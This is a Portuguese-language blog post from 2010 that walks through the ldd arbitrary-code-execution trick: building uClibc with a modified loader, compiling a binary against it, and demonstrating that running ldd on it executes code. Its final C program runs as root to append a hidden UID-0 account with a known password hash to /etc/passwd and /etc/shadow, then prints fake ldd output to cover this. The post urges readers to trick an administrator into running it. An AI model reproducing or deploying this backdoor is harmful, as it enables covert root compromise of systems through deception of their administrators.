Engenharia "tecno-social"
Autor: CleBeer's Pub | Publicado: 2010-05-31T11:56:00-07:00

Engenharia social é um dos temas mais abordados no meio de segurança da informação, isso talvez por não exigir nenhum skill técnico. 
Hoje em dia é muito fácil achar esse tipo de ataque, desde gangues que se utilizam de engenharia social para roubar aposentadoria de velhinhos desinformados, de usuários desatentos que clicam em qualquer link que encontram por ae ou no caso que vou tentar demonstrar aqui utilizando a ingenuidade de muitos admins de rede.
Um exemplo claro da ingenuidade de muitos admins é demonstrada na palestra do Bruno Gonçalves na ultima H2HC sobre engenharia social.
Agora vamos ao que interessa =p 

Ha um tempo atrás (quando percebi que o ldd não passava de um enorme shellscript..rsrs) desconfiei que o ldd poderia permitir a execução de código porem isso dependeria de gerar uma glibc alterada para que o ld-linux.so setar a variável de ambiente "LD_TRACE_LOADED_OBJECTS" dai conseguir executar o programa quando chama-lo com o ldd o problema aqui é que não podemos simplesmente adicionar uma glib nova no server que queremos atacar então o que faremos? vamos compilar um programa com outro loader e simplesmente enviar a lib alterada junto com ele ;) 

Como?

Vamos baixar a biblioteca C&nbsp; "uClib" (http://www.uclibc.org/) e configura-la da seguinte forma:

Crie um diretório onde deseja fazer os testes (Ex.: /home/usuario/teste ), baixe a uClib em http://www.uclibc.org/downloads/uClibc-0.9.30.1.tar.bz2

Descompacte, entre no diretório criado (uClibc-0.9.30.1) e execute o comando "make menuconfig" para selecionar o tipo de arquitetura do sistema do sistema (na maioria dos casos usa-se a i386),
Salve e saia, depois altere o arquivo .config e configure o diretório de destino da instalação para o diretório que você criou (/home/usuario/teste no nosso exemplo)


---
# Mudar de
RUNTIME_PREFIX="/usr/$(TARGET_ARCH)-linux-uclibc/"
DEVEL_PREFIX="/usr/$(TARGET_ARCH)-linux-uclibc/usr/"

# Para
RUNTIME_PREFIX="/home/usuario/teste/uclibc/"
DEVEL_PREFIX="/home/usuario/teste/uclibc/usr/"
---

Agora precisamos comentar da linha 406 até a linha 410 no arquivo "ldso/ldso/ldso.c"

---
/*
&nbsp;&nbsp;&nbsp; if (_dl_getenv("LD_TRACE_LOADED_OBJECTS", envp) != NULL) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; trace_loaded_objects++;
&nbsp;&nbsp;&nbsp; }
*/
---


Agora basta o clássico "$make &amp;&amp; make install" para compilar e instalar nossa lib alterar no diretório "/home/usuario/teste" =D
Dai podemos criar um executável e "linka-lo" a essa lib, desta forma sempre que o ldd chama-lo ele executará o código que quisermos.. 8-]

Vamos ao primeiro código de teste:
Crie um arquivo "ldd-world.c" com o conteúdo abaixo

-- 
#include 
#include 

int main() {
&nbsp; if (getenv("LD_TRACE_LOADED_OBJECTS")) {
&nbsp;&nbsp;&nbsp; printf("Executando comando via ldd\n");
&nbsp; }
&nbsp; else {
&nbsp;&nbsp;&nbsp; printf("Alo Mundo!!!\n");
&nbsp; }
&nbsp; return 0;
}
--

O código acima é bem básico e ele checa se a variável LD_TRACE_LOADED_OBJECTS esta setada (o que significa que ele esta sendo chamado através do ldd), se ela estiver setada ele exibe a 
mensagem "Executando comando via ldd" caso contrário ele exibe a famosa mensagem "Alo Mundo". 
Agora vamos compila-lo, essa parte não basta executar o velho "gcc -o" pois precisamos lincar esse código a nossa uClib preparada anteriormente, então para compilar usaremos o seguinte comando:


---$ UCDIR=/home/usuario/teste/uclibc

$ gcc -Wl,--dynamic-linker,$UCDIR/lib/ld-uClibc.so.0 -Wl,-rpath-link,$UCDIR/lib -nostdlib ldd-world.c -o ldd-world $UCDIR/usr/lib/crt*.o -L$UCDIR/usr/lib/ -lc
---
Explicando:
-Wl,--dynamic-linker,$UCDIR/lib/ld-uClibc.so.0 --&gt; Configura o novo loader (repare que não deve ser o ld-linux.so)

-Wl,-rpath-link,$UCDIR/lib &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp; --&gt; Configura o diretório onde o loader irá procurar suas dependencias

-nostdlib&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp; --&gt; Usado para que o programa não utilize bibliotecas do sistema

ldd-world.c -o ldd-world &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp; --&gt; Compila o ldd-world.c criando o executavel ldd-world

$UCDIR/usr/lib/crt*.o&nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp; --&gt; Link estático para o código em tempo de execução

-L$UCDIR/usr/lib/&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp; --&gt; Diretório onde o programa deve progurar a libc

-lc &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp; --&gt; link com a biblioteca C



Agora vamos ao teste.

---
$ ./ldd-world 
Alo Mundo!!!
---

Até aqui OK como não chamamos ele com ldd a variarel LD_TRACE_LOADED_OBJECTS não foi setada e o programa não faz nada. Agora vamos chamar o programa com o ldd

--
$ ldd ldd-world
Executando comando via ldd
--

Aeeee OWNED !1!!!!1 :p

Abaixo segue um código mais trabalhado que adiciona o usuário "own" com a senha "owned" no sistema caso o ldd seja executado pelo root.... =P

---
/* Não rode este código na sua máquina local.
aconselho o uso de máquinas virtuais para testes*/

#include 
#include 
#include 
#include 

void pretend_as_ldd()
{
&nbsp;&nbsp;&nbsp; printf("\tlinux-gate.so.1 =&gt;&nbsp; (0xffffe000)\n");
&nbsp;&nbsp;&nbsp; printf("\tlibat.so.0 =&gt; not found\n");
&nbsp;&nbsp;&nbsp; printf("\tlibc.so.6 =&gt; /lib/libc.so.6 (0xb7ec3000)\n");
&nbsp;&nbsp;&nbsp; printf("\t/lib/ld-linux.so.2 (0xb8017000)\n");
}


void passwd_file()
{
&nbsp;&nbsp;&nbsp; FILE * pFile;
&nbsp;&nbsp;&nbsp; pFile = fopen ("/etc/passwd","a+");
&nbsp;&nbsp;&nbsp; fprintf (pFile, "own:x:0:0::/root/:/bin/sh\n");
&nbsp;&nbsp;&nbsp; fclose (pFile);
&nbsp;&nbsp;&nbsp; 
&nbsp;&nbsp;&nbsp; pFile = fopen ("/etc/shadow","a+");
&nbsp;&nbsp;&nbsp; fprintf (pFile, "own:$1$gK1UdW1V$NSlmLeLSns7q0hDPDhkvY0:::::::\n");
&nbsp;&nbsp;&nbsp; fclose (pFile);
}

void malicious()
{
&nbsp;&nbsp;&nbsp; if (geteuid() == 0) {
&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; passwd_file(); 
&nbsp;&nbsp;&nbsp; }
}

int main(int argc, char **argv)
{
&nbsp;&nbsp;&nbsp; if (getenv("LD_TRACE_LOADED_OBJECTS")) {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; malicious();
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pretend_as_ldd();
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return 0;
&nbsp;&nbsp;&nbsp; }
&nbsp;&nbsp;&nbsp; 
&nbsp;&nbsp;&nbsp; printf("%s: error while loading shared libraries: libat.so.0: "
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "cannot open shared object file: No such file or directory\n",
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; argv[0]);
&nbsp;&nbsp;&nbsp; return 127;
}

---

Apartir daqui basta treinar as suas técnicas de engenharia social para fazer o admin executar o ldd no seu programa =p



Usem com cuidado. 

By CleBeeR


Referencias:

http://catonmat.net/blog/ldd-arbitrary-code-execution

http://tldp.org/HOWTO/Program-Library-HOWTO/shared-libraries.html

http://www.mail-archive.com/debian-glibc@lists.debian.org/msg39907.html

http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=514408

http://g0thacked.wordpress.com/files/2009/11/breaking-the-perimeter1.pdf